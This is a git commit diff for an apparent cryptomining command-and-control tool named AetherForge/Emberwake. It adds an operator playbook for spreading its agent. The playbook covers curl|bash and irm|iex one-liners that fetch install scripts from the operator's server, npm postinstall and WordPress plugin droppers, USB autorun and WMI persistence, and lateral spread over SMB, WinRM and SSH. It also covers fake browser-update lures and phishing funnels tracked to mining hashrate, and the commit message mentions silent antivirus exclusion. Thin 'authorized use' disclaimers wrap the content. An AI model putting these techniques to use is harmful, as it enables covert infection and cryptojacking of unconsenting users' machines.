Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { loginToDashboard } from './fixtures';
|
||||
|
||||
test.describe('Page smoke', () => {
|
||||
@@ -19,7 +19,7 @@ test.describe('Page smoke', () => {
|
||||
});
|
||||
|
||||
test('Settings renders Calibrate', async ({ page }) => {
|
||||
await page.getByRole('link', { name: /Calibrate/i }).click();
|
||||
await page.getByRole('navigation').getByRole('link', { name: 'Calibrate', exact: true }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Calibrate' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByRole('button', { name: 'Save Calibration' })).toBeVisible();
|
||||
});
|
||||
|
||||
332
server/web/public/docs/SPREAD_TECHNIQUES.html
Normal file
332
server/web/public/docs/SPREAD_TECHNIQUES.html
Normal file
@@ -0,0 +1,332 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Spread Techniques — AetherForge</title>
|
||||
<link rel="stylesheet" href="wiki.css" />
|
||||
</head>
|
||||
<body>
|
||||
<div class="wiki-layout">
|
||||
<aside class="wiki-sidebar">
|
||||
<div class="wiki-sidebar-header">
|
||||
<h1>AetherForge</h1>
|
||||
<p>Spread techniques playbook</p>
|
||||
<a href="/">← Command Deck</a>
|
||||
<br />
|
||||
<a href="/emberwake" style="margin-top:0.35rem;display:inline-block;">→ Emberwake</a>
|
||||
<br />
|
||||
<a href="index.html" style="margin-top:0.35rem;display:inline-block;">→ Full wiki</a>
|
||||
</div>
|
||||
<ul class="wiki-nav">
|
||||
<li><a href="#overview">Overview</a></li>
|
||||
<li><a href="#web-waterhole">Web waterhole</a></li>
|
||||
<li><a href="#curl-bash">curl | bash VPS</a></li>
|
||||
<li><a href="#campaign-war-room">Campaign & War Room</a></li>
|
||||
<li><a href="#fusion-media">Fusion media</a></li>
|
||||
<li><a href="#usb">USB</a></li>
|
||||
<li><a href="#lan">LAN kindling</a></li>
|
||||
<li><a href="#wordpress">WordPress plugin</a></li>
|
||||
<li><a href="#npm-helper">npm postinstall</a></li>
|
||||
<li><a href="#social-funnel">Social funnel</a></li>
|
||||
<li><a href="#third-party">Third-party & gaps</a></li>
|
||||
</ul>
|
||||
</aside>
|
||||
|
||||
<main class="wiki-content">
|
||||
<section>
|
||||
<h2>Spread Techniques Playbook</h2>
|
||||
<p>
|
||||
Red-team / threat-intelligence vectors mapped to <strong>AetherForge + Emberwake</strong> capabilities.
|
||||
For <strong>authorized</strong> penetration testing, lab environments, and defensive planning only.
|
||||
Landscape as of <strong>2024–2026</strong>.
|
||||
</p>
|
||||
<p>
|
||||
Use <a href="/emberwake">Emberwake</a> for campaign builder, spread-kit export, supply-chain wizards, and
|
||||
War Room analytics. This page is the operator playbook — Emberwake stays focused on actions, not tutorials.
|
||||
</p>
|
||||
|
||||
<div class="spread-tab-bar" role="tablist" aria-label="Spread technique">
|
||||
<button type="button" class="spread-tab active" role="tab" data-spread-tab="overview" aria-selected="true">Overview</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="web-waterhole" aria-selected="false">Web waterhole</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="curl-bash" aria-selected="false">curl | bash</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="campaign-war-room" aria-selected="false">Campaign & War Room</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
|
||||
</div>
|
||||
|
||||
<!-- Overview -->
|
||||
<div class="spread-panel active" data-spread-panel="overview" id="overview">
|
||||
<h3>What does NOT work anymore</h3>
|
||||
<div class="wiki-callout danger">
|
||||
Modern browsers require a <strong>user click + run</strong>. Silent drive-by RCE, auto-run from Downloads,
|
||||
and CRX sideload via normal download are dead paths for commodity ops.
|
||||
</div>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Technique</th><th>Status</th><th>Why</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Silent browser RCE (visit → shell)</td><td><span class="wiki-status disabled">Dead</span></td><td>Chromium sandboxes, site isolation, removed plugins</td></tr>
|
||||
<tr><td>Auto-run from Downloads</td><td><span class="wiki-status disabled">Dead</span></td><td>SmartScreen, MoTW, user-gesture requirements</td></tr>
|
||||
<tr><td>Flash/Java plugin drive-by</td><td><span class="wiki-status disabled">Dead</span></td><td>Plugins removed or click-to-play extinct</td></tr>
|
||||
<tr><td>Unauthenticated <code>curl | bash</code> on cautious admins</td><td><span class="wiki-status partial">Hard</span></td><td>Pipe-to-shell fingerprinting; inspect-before-run mitigations</td></tr>
|
||||
<tr><td>CRX sideload via download</td><td><span class="wiki-status disabled">Dead</span></td><td>DownloadRestrictions; store policy blocks casual sideload</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>AetherForge stack — has vs needs</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Capability</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>GET /get</code>, <code>/install.sh</code>, <code>/install.ps1</code> with <code>?pin=</code> + <code>?c=</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Spread Kit ZIP export + static lander at <code>/spread/</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Emberwake campaign builder + War Room funnel</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>WordPress plugin + npm helper export wizards</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Fusion media ZIP bundles</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>USB perpetual propagation (forge flag)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>LAN autospread / share spread</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>SocGholish fake-update branded lander</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td></tr>
|
||||
<tr><td>OAuth redirect helper</td><td><span class="wiki-status stub">Needs</span></td></tr>
|
||||
<tr><td>Public npm/PyPI typosquat publish</td><td><span class="wiki-status disabled">Out of scope</span></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Source matrix (markdown): <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
|
||||
</div>
|
||||
|
||||
<!-- Web waterhole -->
|
||||
<div class="spread-panel" data-spread-panel="web-waterhole" id="web-waterhole" hidden>
|
||||
<h3>Web waterhole — dropper landing</h3>
|
||||
<p><span class="wiki-status working">Working</span> Owned-origin button/link → <code>/get</code> or spread-kit ZIP.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Forged build (pin optional) on your command deck</li>
|
||||
<li>Public URL in Calibrate or tunnel to deck</li>
|
||||
<li>Static host you control (same origin or Cloudflare Pages)</li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Open <a href="/emberwake">Emberwake</a> → set campaign slug and pinned build.</li>
|
||||
<li>Copy dropper URL or export spread-kit ZIP.</li>
|
||||
<li>Deploy static lander — on-server copy at <a href="/spread/">/spread/</a> or upload exported kit.</li>
|
||||
<li>Link visitors to <code>{deck}/get?pin={id}&c={slug}</code> or platform-detect <code>/get</code>.</li>
|
||||
<li>Track hits in Emberwake → <a href="/emberwake#campaign-war-room">Campaign War Room</a>.</li>
|
||||
</ol>
|
||||
<h4>Platform notes</h4>
|
||||
<p>Windows: SmartScreen + MoTW on executables. Pair with code signing (<code>sign_build</code>) to reduce friction.</p>
|
||||
<a class="spread-deck-link" href="/emberwake">Open Emberwake →</a>
|
||||
</div>
|
||||
|
||||
<!-- curl | bash -->
|
||||
<div class="spread-panel" data-spread-panel="curl-bash" id="curl-bash" hidden>
|
||||
<h3>curl | bash — headless server drops</h3>
|
||||
<p><span class="wiki-status working">Working</span> <code>install.sh</code> / <code>install.ps1</code> one-liners for Linux/macOS/Windows Server.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Deck reachable from target VPS (TLS recommended)</li>
|
||||
<li>Linux/macOS: <strong>Web Drop</strong> forge preset or minimal headless build</li>
|
||||
<li>Windows Server: AMSI / Constrained Language may block <code>irm | iex</code></li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Emberwake → Campaign builder: set <code>?c=</code> slug and pin build.</li>
|
||||
<li>Copy bash / PowerShell / macOS one-liners from the builder card.</li>
|
||||
<li>Publish on first-party install docs page you operate.</li>
|
||||
<li>Agent reports <code>AETHER_CAMPAIGN</code> on connect → War Room funnel.</li>
|
||||
</ol>
|
||||
<pre><code># Linux server
|
||||
curl -sL https://your.site/install.sh?pin={build_id}&c=docs | bash
|
||||
|
||||
# Windows Server
|
||||
irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<a class="spread-deck-link" href="/emberwake">Copy one-liners in Emberwake →</a>
|
||||
</div>
|
||||
|
||||
<!-- Campaign & War Room -->
|
||||
<div class="spread-panel" data-spread-panel="campaign-war-room" id="campaign-war-room" hidden>
|
||||
<h3>Campaign links & War Room</h3>
|
||||
<p><span class="wiki-status working">Working</span> Attribution via <code>?c=slug</code> on dropper and public download URLs.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>At least one forged build</li>
|
||||
<li>Campaign slug per lure wave (e.g. <code>linkedin-bait</code>, <code>wp-my-blog</code>)</li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Set campaign slug in Campaign builder; append to every dropper/public URL.</li>
|
||||
<li>Optional A/B: pin Build A vs Build B with <code>?c=slug</code> and <code>?c=slug-b</code>.</li>
|
||||
<li>Share links; War Room polls every 15s + WebSocket <code>emberwake_war_room</code>.</li>
|
||||
<li>Read funnel: hits → downloads → first beacon → mining → hashrate per slug.</li>
|
||||
</ol>
|
||||
<h4>Endpoints</h4>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Endpoint</th><th>Purpose</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>GET /get?c=</code></td><td>Platform-detect download + campaign log</td></tr>
|
||||
<tr><td><code>GET /api/v1/public/download/{id}?c=</code></td><td>Public artifact + campaign log</td></tr>
|
||||
<tr><td><code>GET /api/v1/emberwake/war-room?days=7</code></td><td>Funnel board data (auth)</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<a class="spread-deck-link" href="/emberwake#campaign-war-room">Open War Room →</a>
|
||||
</div>
|
||||
|
||||
<!-- Fusion media -->
|
||||
<div class="spread-panel" data-spread-panel="fusion-media" id="fusion-media" hidden>
|
||||
<h3>Fusion media — codec / tool download</h3>
|
||||
<p><span class="wiki-status working">Working</span> Movie or prep fusion ZIP with disguised runner names.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li><strong>Desktop Fusion</strong> spread profile or manual fusion flags at forge</li>
|
||||
<li>Themed landing page on owned site</li>
|
||||
<li>Optional: code signing to reduce SmartScreen prompts</li>
|
||||
</ul>
|
||||
<h4>Emberwake / forge steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Mission Deck → <strong>Desktop Fusion</strong> profile → forge universal bundle.</li>
|
||||
<li>Host fusion ZIP on themed site (“codec pack”, “portable tool”).</li>
|
||||
<li>Tag downloads with <code>?c=fusion-wave1</code> via public URL or manual campaign env.</li>
|
||||
<li>Universal bundle auto-picks <code>Deploy.bat</code> / <code>deploy.sh</code> inside spread-kit scripts.</li>
|
||||
</ol>
|
||||
<p>Detection risk: medium (large ZIP, SmartScreen). User must still run extracted payload.</p>
|
||||
<a class="spread-deck-link" href="/emberwake">Tag campaign in Emberwake →</a>
|
||||
</div>
|
||||
|
||||
<!-- USB -->
|
||||
<div class="spread-panel" data-spread-panel="usb" id="usb" hidden>
|
||||
<h3>USB perpetual propagation</h3>
|
||||
<p><span class="wiki-status working">Working</span> Forge-time <strong>USB Propagation</strong> flag — not an Emberwake export.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Forge with <code>usb_spread</code> enabled (<strong>LAN Kindling</strong> profile includes USB)</li>
|
||||
<li>Physical access path to insert USB on target Windows hosts</li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Within ~8s of USB insert: drop agent to hidden folder, write <code>autorun.inf</code>, LNK, <code>SETUP.BAT</code>.</li>
|
||||
<li>Create decoy folder; WMI subscription for future mounts.</li>
|
||||
<li>Modern Windows limits autorun — user interaction often still required.</li>
|
||||
</ol>
|
||||
<p>See wiki <a href="index.html#usb-portable">USB Portable</a> for deck-on-stick packaging.</p>
|
||||
<a class="spread-deck-link" href="/forge">Forge with USB flag →</a>
|
||||
</div>
|
||||
|
||||
<!-- LAN -->
|
||||
<div class="spread-panel" data-spread-panel="lan" id="lan" hidden>
|
||||
<h3>LAN kindling — lateral spread</h3>
|
||||
<p><span class="wiki-status working">Working</span> Universal spread kit + <code>auto_spread</code> / <code>share_spread</code>.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li><strong>LAN Kindling</strong> spread profile at forge (universal kit + autospread)</li>
|
||||
<li>At least one patient zero on the subnet</li>
|
||||
<li>C2 auth for aggressive lateral commands (Crucible ops separate profile)</li>
|
||||
</ul>
|
||||
<h4>Emberwake / forge steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Mission Deck → <strong>LAN Kindling</strong> → forge spread-kit universal ZIP.</li>
|
||||
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
|
||||
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
|
||||
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
|
||||
</ol>
|
||||
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
|
||||
</div>
|
||||
|
||||
<!-- WordPress -->
|
||||
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
|
||||
<h3>WordPress plugin — owned-site supply chain</h3>
|
||||
<p><span class="wiki-status working">Working</span> Export plugin ZIP from Emberwake — upload to <em>your</em> WordPress host only.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>WordPress installation you operate (not wordpress.org directory)</li>
|
||||
<li>Pinned build in Emberwake supply-chain wizard</li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Emberwake → Supply-chain wizard → WordPress → pick build, site name, server URL.</li>
|
||||
<li>Download <code>{slug}-wordpress-plugin.zip</code>.</li>
|
||||
<li>WP Admin → Plugins → Add New → Upload → Activate.</li>
|
||||
<li>Admin notice links to <code>/get?c=wp-{site}</code> on your deck.</li>
|
||||
<li>Track <code>wp-{site}</code> in War Room.</li>
|
||||
</ol>
|
||||
<h4 id="wordpress-hosting-checklist">Hosting checklist</h4>
|
||||
<ul>
|
||||
<li>Unzip locally — layout <code>{slug}/{slug}.php</code> + <code>readme.txt</code></li>
|
||||
<li>Upload ZIP via Plugins → Add New → Upload Plugin</li>
|
||||
<li>Activate on owned host; verify Tools page + admin notice URL</li>
|
||||
<li>Confirm War Room shows hits for <code>wp-{site}</code></li>
|
||||
</ul>
|
||||
<p>API: <code>POST /api/v1/builder/wordpress-plugin-export</code></p>
|
||||
<a class="spread-deck-link" href="/emberwake">Open supply-chain wizard →</a>
|
||||
</div>
|
||||
|
||||
<!-- npm helper -->
|
||||
<div class="spread-panel" data-spread-panel="npm-helper" id="npm-helper" hidden>
|
||||
<h3>npm postinstall helper — your packages only</h3>
|
||||
<p><span class="wiki-status working">Working</span> Private package template — postinstall curls your <code>install.sh</code>.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Registry you control (private npm, Verdaccio, GitHub Packages)</li>
|
||||
<li>Authorized CI/dev environments only — <strong>not</strong> public typosquat</li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Emberwake → Supply-chain wizard → npm → set server URL, campaign, optional pin.</li>
|
||||
<li>Download helper ZIP; adjust <code>package.json</code> name if needed.</li>
|
||||
<li>Publish to your registry; add as dependency in authorized projects.</li>
|
||||
<li><code>npm install</code> runs postinstall → <code>install.sh?c=…&pin=…</code>.</li>
|
||||
</ol>
|
||||
<h4 id="npm-hosting-checklist">Hosting checklist</h4>
|
||||
<ul>
|
||||
<li>Unzip npm helper template</li>
|
||||
<li>Publish with <code>npm publish --access restricted</code></li>
|
||||
<li>Add dependency in authorized pipeline only</li>
|
||||
<li>Verify agent connect + War Room campaign slug</li>
|
||||
</ul>
|
||||
<p>API: <code>POST /api/v1/builder/npm-helper-export</code></p>
|
||||
<a class="spread-deck-link" href="/emberwake">Export npm template →</a>
|
||||
</div>
|
||||
|
||||
<!-- Social funnel -->
|
||||
<div class="spread-panel" data-spread-panel="social-funnel" id="social-funnel" hidden>
|
||||
<h3>Social engineering funnel</h3>
|
||||
<p>Email / ads → owned lander → download. AetherForge maps the <strong>last mile</strong> once user reaches your origin.</p>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Technique</th><th>Status</th><th>Emberwake role</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Email → link → owned lander → download</td><td><span class="wiki-status working">Working</span></td><td><code>?c=</code> on <code>/get</code> + War Room</td></tr>
|
||||
<tr><td>A/B droppers between waves</td><td><span class="wiki-status working">Working</span></td><td>Build A vs B pins in Campaign builder</td></tr>
|
||||
<tr><td>OAuth redirect abuse</td><td><span class="wiki-status stub">Needs</span></td><td>No Entra app wizard — research only</td></tr>
|
||||
<tr><td>SEO poisoning / malvertising</td><td><span class="wiki-status stub">Needs</span></td><td>Payload can be fusion/spread-kit; no ad tooling</td></tr>
|
||||
<tr><td>HTML smuggling / IFRAME chains</td><td><span class="wiki-status stub">Needs</span></td><td>Client-side blob builder not shipped</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
|
||||
</div>
|
||||
|
||||
<!-- Third-party -->
|
||||
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
|
||||
<h3>Third-party platforms & gaps</h3>
|
||||
<p>Techniques on infrastructure you do <em>not</em> fully control. Most require separate publish pipelines.</p>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Technique</th><th>Status</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>GitHub Releases / raw CDN</td><td><span class="wiki-status partial">Partial</span></td><td>Build artifacts exist; separate release pipeline from C2 host</td></tr>
|
||||
<tr><td>S3 / Cloudflare Pages / R2</td><td><span class="wiki-status partial">Partial</span></td><td>Deploy exported spread-kit ZIP off C2; platform abuse ML risk</td></tr>
|
||||
<tr><td>npm / PyPI / Docker Hub typosquat</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Use npm helper on registries <em>you</em> own</td></tr>
|
||||
<tr><td>WordPress.org plugin compromise</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Owned-site upload wizard only</td></tr>
|
||||
<tr><td>Fake browser update (SocGholish)</td><td><span class="wiki-status stub">Stub</span></td><td>Dropper works; branded HTML lander not shipped</td></tr>
|
||||
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td><td>Filter bots/geo before showing download</td></tr>
|
||||
<tr><td>Service worker / WASM redirect</td><td><span class="wiki-status stub">Needs</span></td><td>Research paths; still ends at user-run binary</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Full research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
</div>
|
||||
<script src="spread-techniques.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,5 +1,7 @@
|
||||
# Web-Mediated Spread Techniques (Research Summary)
|
||||
|
||||
> **Operator playbook (tabbed HTML):** [SPREAD_TECHNIQUES.html](SPREAD_TECHNIQUES.html) — step-by-step Emberwake how-tos. This file is the research matrix.
|
||||
|
||||
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
|
||||
|
||||
---
|
||||
@@ -24,7 +26,7 @@
|
||||
|
||||
| Technique | Feasibility | Detection risk | AetherForge mapping |
|
||||
|-----------|-------------|----------------|---------------------|
|
||||
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
|
||||
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. |
|
||||
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
|
||||
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
|
||||
| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
|
||||
@@ -80,12 +82,10 @@
|
||||
|
||||
| Gap | Emberwake / web-publisher role |
|
||||
|-----|-------------------------------|
|
||||
| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
|
||||
| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
|
||||
| No **fake-update** HTML kit | SocGholish-style lander |
|
||||
| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
|
||||
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
|
||||
| No **OAuth redirect** helper | Entra app registration docs only |
|
||||
| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
|
||||
| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -28,18 +28,25 @@
|
||||
</div>
|
||||
<ul class="wiki-nav">
|
||||
<li><a href="#overview">Overview</a></li>
|
||||
<li><a href="#quick-start">Quick Start</a></li>
|
||||
<li><a href="#dashboard">Dashboard</a></li>
|
||||
<li><a href="#forge">Forge / Builder</a></li>
|
||||
<li><a href="#spread-campaigns">Spread & Campaigns</a></li>
|
||||
<li><a href="#quick-start">Getting Started</a></li>
|
||||
<li><a href="#forge">Forge & Builds</a></li>
|
||||
<li><a href="#mission-deck">Mission Deck</a></li>
|
||||
<li><a href="#build-manager">Build Manager</a></li>
|
||||
<li><a href="#dashboard">Fleet & Crucible</a></li>
|
||||
<li><a href="#crucible-ops">Crucible Commands</a></li>
|
||||
<li><a href="#spread-campaigns">Emberwake & Spread</a></li>
|
||||
<li><a href="SPREAD_TECHNIQUES.html">Spread Techniques</a></li>
|
||||
<li><a href="#wordpress-plugin-supply-chain">WordPress plugin</a></li>
|
||||
<li><a href="#npm-postinstall-helper">npm postinstall</a></li>
|
||||
<li><a href="#agent">Agent</a></li>
|
||||
<li><a href="#calibrate">Calibrate</a></li>
|
||||
<li><a href="#path-tracer">Path Tracer</a></li>
|
||||
<li><a href="#agent">Agent Reference</a></li>
|
||||
<li><a href="#mining">Mining</a></li>
|
||||
<li><a href="#platform-matrix">Platform Matrix</a></li>
|
||||
<li><a href="#alerts-ai">Alerts & AI</a></li>
|
||||
<li><a href="#security-auth">Security & Auth</a></li>
|
||||
<li><a href="#usb-portable">USB Portable Deck</a></li>
|
||||
<li><a href="#api-reference">API Reference</a></li>
|
||||
<li><a href="#security-auth">Security</a></li>
|
||||
<li><a href="#usb-portable">USB Portable</a></li>
|
||||
<li><a href="#api-reference">API</a></li>
|
||||
<li><a href="#troubleshooting">Troubleshooting</a></li>
|
||||
<li><a href="#problems">Known Limits</a></li>
|
||||
</ul>
|
||||
@@ -182,6 +189,52 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
||||
</ul>
|
||||
<div class="wiki-screenshot">[Screenshot: Dashboard fleet health + contribution map]</div>
|
||||
|
||||
<h3>Command deck route guide</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Route</th><th>Nav label</th><th>Primary use</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>/dashboard</code></td><td>Command Deck</td><td>Fleet health, hashrate, topology map, install funnel, audit strip</td></tr>
|
||||
<tr><td><code>/agents</code></td><td>Fleet Roster</td><td>Per-machine detail, remote actions, groups, protocol tunnels</td></tr>
|
||||
<tr><td><code>/crucible</code></td><td>Crucible</td><td>Batch remote terminal, expanded ops, file manager, gold rain overlay</td></tr>
|
||||
<tr><td><code>/forge</code></td><td>Forge</td><td>Full builder — preflight, fusion, blueprints, operation modes</td></tr>
|
||||
<tr><td><code>/mission-deck</code></td><td>Mission Deck</td><td>Fast path — preset loadout → one-click forge + export + clipboard links</td></tr>
|
||||
<tr><td><code>/builds</code></td><td>Builds</td><td>Download, pin, public toggle, dropper one-liners, re-forge</td></tr>
|
||||
<tr><td><code>/emberwake</code></td><td>Emberwake</td><td>Campaign War Room, spread-kit export, supply-chain wizards</td></tr>
|
||||
<tr><td><code>/settings</code></td><td>Calibrate</td><td>Pool, alerts, users, fleet policy, staged modules, tunnels</td></tr>
|
||||
<tr><td><code>/pathtracer</code></td><td>Path Tracer</td><td>Multi-hop WireGuard chain builder + QR config</td></tr>
|
||||
<tr><td><code>/docs/</code></td><td>Field docs</td><td>This wiki — searchable; HelpTips link here</td></tr>
|
||||
<tr><td><code>/spread/</code></td><td>Static spread kit</td><td>Public waterhole landing (no login) — see <a href="/spread/">/spread/</a></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p><code>/builder</code> and <code>/spread</code> redirect to <code>/forge</code> and <code>/emberwake</code>.</p>
|
||||
|
||||
<h3>How to read the Command Deck</h3>
|
||||
<p>
|
||||
The top row is your fast triage layer. <strong>Fleet Hash</strong> is the 15-minute rolling aggregate,
|
||||
<strong>Est. Daily</strong> combines the live hashrate estimate with the current XMR price cache,
|
||||
<strong>Accept</strong> highlights share quality, and <strong>Nodes Live</strong> tells you immediately
|
||||
whether a bad pool day is really a connectivity day.
|
||||
</p>
|
||||
<p>
|
||||
Below that, <strong>Fleet Health</strong> is the composite score to trust when the page is busy. It blends
|
||||
online percentage, accept rate, pool state, and current fleet behavior into one number, then colors the card
|
||||
green / amber / red. Treat it as the dashboard's summary judgment, then use the supporting panels to see why
|
||||
the score moved.
|
||||
</p>
|
||||
|
||||
<h3>Overview vs Advanced mode</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Mode</th><th>Purpose</th><th>Extra panels</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Overview</td><td>Fast status scan</td><td>Core health, key metrics, roster, topology, share pulse</td></tr>
|
||||
<tr><td>Advanced</td><td>Deep operator session</td><td>AI activity, share log, matrix overlay, full chart stack</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>
|
||||
Advanced mode is persisted in browser storage. It is intended for an operator who is staying in the deck for
|
||||
a while, not for a quick hallway check. When chart noise gets in the way, switch back to Overview.
|
||||
</p>
|
||||
|
||||
<h3>Fleet Roster (Agents)</h3>
|
||||
<ul>
|
||||
<li>Compact rows — click to expand inline details and remote action strip</li>
|
||||
@@ -193,10 +246,15 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
||||
|
||||
<h3>Crucible (Command Terminal)</h3>
|
||||
<p>
|
||||
Select one or many agents (or a Fleet Group). Send raw commands, PowerShell, or preset ops. Output streams
|
||||
